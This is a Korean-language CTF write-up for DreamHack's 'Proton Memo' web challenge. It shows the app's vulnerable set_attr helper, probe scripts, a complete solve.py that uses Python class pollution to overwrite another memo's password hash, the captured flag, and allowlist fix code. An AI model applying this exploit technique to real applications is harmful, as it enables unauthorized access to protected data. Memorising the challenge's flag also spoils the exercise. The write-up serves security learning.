[🥇 Gold 3] 비밀번호를 맞히는 대신 비교 대상을 바꾼다 — DreamHack Proton Memo 풀이

curl -s http://localhost:1116/

def set_attr(obj, prop, value):
    prop_chain = prop.split('.')
    cur_prop = prop_chain[0]
    if len(prop_chain) == 1:
        if isinstance(obj, dict):
            obj[cur_prop] = value
        else:
            setattr(obj, cur_prop, value)
    else:
        if isinstance(obj, dict):
            if  cur_prop in obj:
                next_obj = obj[cur_prop]
            else:
                next_obj = {}
                obj[cur_prop] = next_obj
        else:
            if hasattr(obj, cur_prop):
                next_obj = getattr(obj, cur_prop)
            else:
                next_obj = {}
                setattr(obj, cur_prop, next_obj)
        set_attr(next_obj, '.'.join(prop_chain[1:]), value)

find extracted -type f | sort; docker ps --filter name=extracted-app

FROM python:3.11-alpine
ENV USER chall
ENV PORT 1116
RUN adduser -D -g "" $USER
COPY --chown=root:root app /app
COPY --chown=root:$USER flag /flag
WORKDIR /app
RUN chmod 705 run.sh
RUN pip install -r requirements.txt
USER $USER
EXPOSE $PORT
ENTRYPOINT ["/bin/ash"]
CMD ["./run.sh"]

while true; do flask run -h 0.0.0.0 -p 1116; done

secret = Memo("secret", open("/flag", "r").read(), os.urandom(20).hex())
 
Memo.add_memo_to_collection(secret)

def get_memo_with_auth_or_abort(memo_id: str, password: str) -> Memo:
    memo = Memo.get_memo_by_id(memo_id)
 
    if memo is None:
        abort(404)
    elif not memo.check_password(password):
        abort(403)
 
    return memo

@app.route("/view/<uuid:memo_id>", methods=["GET", "POST"])
def view_memo(memo_id: UUID):
    memo_id = str(memo_id)
 
    if request.method == "GET":
        return render_template("enter_password.html", memo_id=memo_id)
    elif request.method == "POST":
        password = request.form["password"]
 
        memo = get_memo_with_auth_or_abort(memo_id, password)
 
        contents = (
            memo.get_title_with_edit_time() + "\n" + memo.get_content_with_edit_time()
        )
 
        return render_template("view_memo.html", memo=contents, memo_id=memo_id)

@app.route("/edit/<uuid:memo_id>", methods=["GET", "POST"])
def edit_memo(memo_id: UUID):
    memo_id = str(memo_id)
 
    if request.method == "GET":
        return render_template("edit_memo.html", memo_id=memo_id)
    elif request.method == "POST":
        selected_option = request.form["selected_option"]
        edit_data = request.form["edit_data"]
        password = request.form["password"]
 
        memo = get_memo_with_auth_or_abort(memo_id, password)
 
        set_attr(memo, selected_option + ".data", edit_data)
        set_attr(memo, selected_option + ".edit_time", time.time())
 
        return redirect(url_for("index"))

class Password:
    data: str
 
    def __init__(self, data: str) -> None:
        self.data = hashlib.sha256(data.encode()).hexdigest()
 
    def check_password(self, password: str) -> bool:
        return self.data == hashlib.sha256(password.encode()).hexdigest()
 
 
class Memo:
    collections: Dict[str, Memo] = {}
    ...
    @staticmethod
    def add_memo_to_collection(memo: Memo):
        Memo.collections[memo.id] = memo

curl -s -i -X POST -d "password=nope" "http://localhost:1116/view/$SID"

<select id="selected_option" name="selected_option">
    <option value="title">Title</option>
    <option value="content">Content</option>
</select>

python3 cases.py

selected_option = collections.<secret_uuid>.password
prop            = collections.<secret_uuid>.password.data

#!/usr/bin/env python3
"""Proton Memo — 정찰: 내 메모 객체에서 남의 메모까지 정말 닿는지 파이썬으로 직접 확인한다.
 
챌린지 배포본의 models.py / utils.py 를 그대로 import 해서, 서버를 거치지 않고
속성 조회 규칙만 눈으로 본다. app.py 가 하는 일과 똑같이 set_attr(memo, X + '.data', v) 만 부른다.
"""
import hashlib
import sys
 
sys.path.insert(0, "extracted/deploy/app")
 
from models import Memo, Password          # noqa: E402
from utils import set_attr                 # noqa: E402
 
# 서버 기동 시점의 secret 메모와 내가 만든 메모, 두 개를 흉내낸다.
secret = Memo("secret", "DH{local_probe_flag}", "3f9c1a2b" * 5)   # 원래는 os.urandom(20).hex()
mine = Memo("zino", "pwn", "zino1234")
Memo.add_memo_to_collection(secret)
Memo.add_memo_to_collection(mine)
 
print("[1] collections 는 클래스 속성인가?")
print("    'collections' in Memo.__dict__      =", "collections" in Memo.__dict__)
print("    'collections' in mine.__dict__      =", "collections" in mine.__dict__)
print("    hasattr(mine, 'collections')        =", hasattr(mine, "collections"))
print("    mine.collections is Memo.collections=", mine.collections is Memo.collections)
 
print("\n[2] 내 인스턴스에서 secret 객체까지 닿는 경로")
print("    len(mine.collections)              =", len(mine.collections))
print("    mine.collections[secret.id] is secret =", mine.collections[secret.id] is secret)
 
print("\n[3] set_attr 로 남의 Password.data 를 덮는다 (app.py 와 같은 호출)")
target = f"collections.{secret.id}.password"
print("    selected_option =", target)
print("    before: secret.password.data =", secret.password.data[:16], "...")
set_attr(mine, target + ".data", hashlib.sha256(b"zino1234").hexdigest())
print("    after : secret.password.data =", secret.password.data[:16], "...")
print("    secret.check_password('zino1234') =", secret.check_password("zino1234"))
print("    →", secret.get_content() if secret.check_password("zino1234") else "실패")
 
print("\n[4] 클래스 속성으로 덮으면 어떻게 되나 (인스턴스 속성이 가린다)")
fresh = Memo("other", "DH{another}", "s3cr3t")
set_attr(mine, "password.__class__.data", hashlib.sha256(b"zino1234").hexdigest())
print("    Password.data(클래스)         =", Password.data[:16], "...")
print("    'data' in fresh.password.__dict__ =", "data" in fresh.password.__dict__)
print("    fresh.check_password('zino1234')  =", fresh.check_password("zino1234"))
 
print("\n[5] 마지막 마디는 항상 'data' 나 'edit_time' 으로 고정된다")
print("    app.py: set_attr(memo, selected_option + '.data', edit_data)")
print("    → 이름이 'data' 인 속성만 심을 수 있다. Password.data 가 마침 그 이름이다.")

python3 probe_attr.py

const s = document.getElementById('selected_option');
const o = document.createElement('option');
o.value = o.textContent = 'collections.<secret_uuid>.password';
s.appendChild(o); s.value = o.value;

#!/usr/bin/env python3
"""Proton Memo (Dreamhack, Gold 3, web) — Python class pollution 익스플로잇.
 
취약점
  utils.set_attr() 은 'a.b.c' 같은 점 구분 경로를 재귀적으로 setattr 하는데,
  app.py 의 edit_memo() 가 그 경로 앞부분을 사용자 입력(selected_option)으로 준다.
 
      set_attr(memo, selected_option + ".data", edit_data)
 
  Memo.collections 는 '클래스' 속성 dict 라 내 memo 인스턴스에서도 getattr 로 닿고,
  그 dict 안에 flag 를 품은 secret memo 객체가 들어 있다. 따라서
 
      selected_option = "collections.<secret_uuid>.password"
      → prop = "collections.<secret_uuid>.password.data"
 
  로 secret memo 의 Password.data(sha256 해시)를 '내가 아는 비밀번호의 해시'로 덮는다.
  secret 의 원래 비밀번호는 os.urandom(20).hex() 라 못 맞히지만,
  맞히는 대신 비교 대상을 바꾸는 것이다.
 
사용법
  python3 solve.py http://host1.dreamhack.games:PORT
"""
import hashlib
import re
import sys
import urllib.parse
import urllib.request
 
MY_PW = "zino1234"                       # 내가 만드는 메모의 비밀번호(임의)
UUID_RE = r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
 
 
def post(url: str, data: dict) -> tuple[int, str]:
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    try:
        with urllib.request.urlopen(req) as r:
            return r.status, r.read().decode(errors="replace")
    except urllib.error.HTTPError as e:                     # 403/404 도 그대로 보고 싶다
        return e.code, e.read().decode(errors="replace")
 
 
def get(url: str) -> str:
    with urllib.request.urlopen(url) as r:
        return r.read().decode(errors="replace")
 
 
def main() -> int:
    base = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:1116"
 
    # 1) 인덱스에서 secret memo 의 uuid 를 찾는다. 제목이 그대로 노출된다.
    index = get(base + "/")
    entries = re.findall(
        r'href="/view/(' + UUID_RE + r')">Title:\s*([^<]*?)\s*</a>', index
    )
    print("[*] 인덱스 목록:", entries)
    secret_id = next((mid for mid, title in entries if title == "secret"), None)
    if secret_id is None:
        print("[-] secret memo 를 못 찾았다"); return 1
    print(f"[+] secret memo id = {secret_id}")
 
    # 2) 내 메모를 만든다. edit 엔드포인트에 들어가려면 '아는 비밀번호'가 하나 필요하다.
    post(base + "/new", {"title": "zino", "content": "pwn", "password": MY_PW})
    after = get(base + "/")
    mine = [m for m in re.findall(r'href="/view/(' + UUID_RE + r')"', after)
            if m not in {mid for mid, _ in entries}]
    if not mine:
        print("[-] 내 메모 생성 실패"); return 1
    my_id = mine[-1]
    print(f"[+] 내 memo id    = {my_id}")
 
    # 3) class pollution — 내 메모를 인증에 쓰고, 경로는 secret 의 Password.data 를 가리킨다.
    new_hash = hashlib.sha256(MY_PW.encode()).hexdigest()
    status, _ = post(base + f"/edit/{my_id}", {
        "selected_option": f"collections.{secret_id}.password",
        "edit_data": new_hash,
        "password": MY_PW,
    })
    print(f"[*] pollute: collections.{secret_id}.password.data = {new_hash}  (HTTP {status})")
 
    # 4) 이제 secret memo 가 내 비밀번호를 받아들인다.
    status, html = post(base + f"/view/{secret_id}", {"password": MY_PW})
    print(f"[*] /view/{secret_id} → HTTP {status}")
    flag = re.search(r"DH\{[^}]*\}", html)
    if flag:
        print("[+] FLAG:", flag.group(0)); return 0
    print("[-] 플래그 없음. 응답 본문:"); print(html[:800]); return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

python3 solve.py http://host3.dreamhack.games:15882

DH{2ba1c1e3012a56fcce00b51d3d1fcc230bf8683d66b81775c10ef83de2e7cca7}

#!/usr/bin/env bash
# Proton Memo (Dreamhack id 884, Gold 3, web) — 한 방 재현.
#
#   ./reproduce.sh                      로컬 docker 로 세워서 배포본 더미 flag 까지 확인
#   ./reproduce.sh http://host3...:PORT 라이브 인스턴스면 문제.json 의 실제 flag 와 대조
#
# 배포본 deploy/flag 는 'DH{sample flag}' 라 로컬에서는 그 값이 나오는 게 정답이다.
# 실제 flag 는 라이브 인스턴스에서만 나온다 — 로컬 결과를 진짜 flag 인 것처럼 통과시키지 않는다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
TARGET="${1:-}"
if [ -z "$TARGET" ]; then
  TARGET="http://localhost:1116"
  EXPECT='DH{sample flag}'
  echo "[*] 로컬 재현 모드 — docker compose 로 챌린지를 세운다"
  (cd extracted && docker compose up -d --build >/dev/null 2>&1)
  for _ in $(seq 1 30); do
    curl -sf -o /dev/null "$TARGET/" && break
    sleep 1
  done
else
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  echo "[*] 라이브 모드 — $TARGET"
fi
 
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"
  [ "$TARGET" = "http://localhost:1116" ] && \
    echo "   (배포본 더미 flag. 실제 flag 는 라이브 인스턴스에서만 나온다)"
  exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1

./reproduce.sh

if selected_option == "title":
    memo.title.data = edit_data
    memo.title.edit_time = time.time()
elif selected_option == "content":
    memo.content.data = edit_data
    memo.content.edit_time = time.time()
else:
    abort(400)

ALLOWED = {"title", "content"}
if selected_option not in ALLOWED or "." in selected_option:
    abort(400)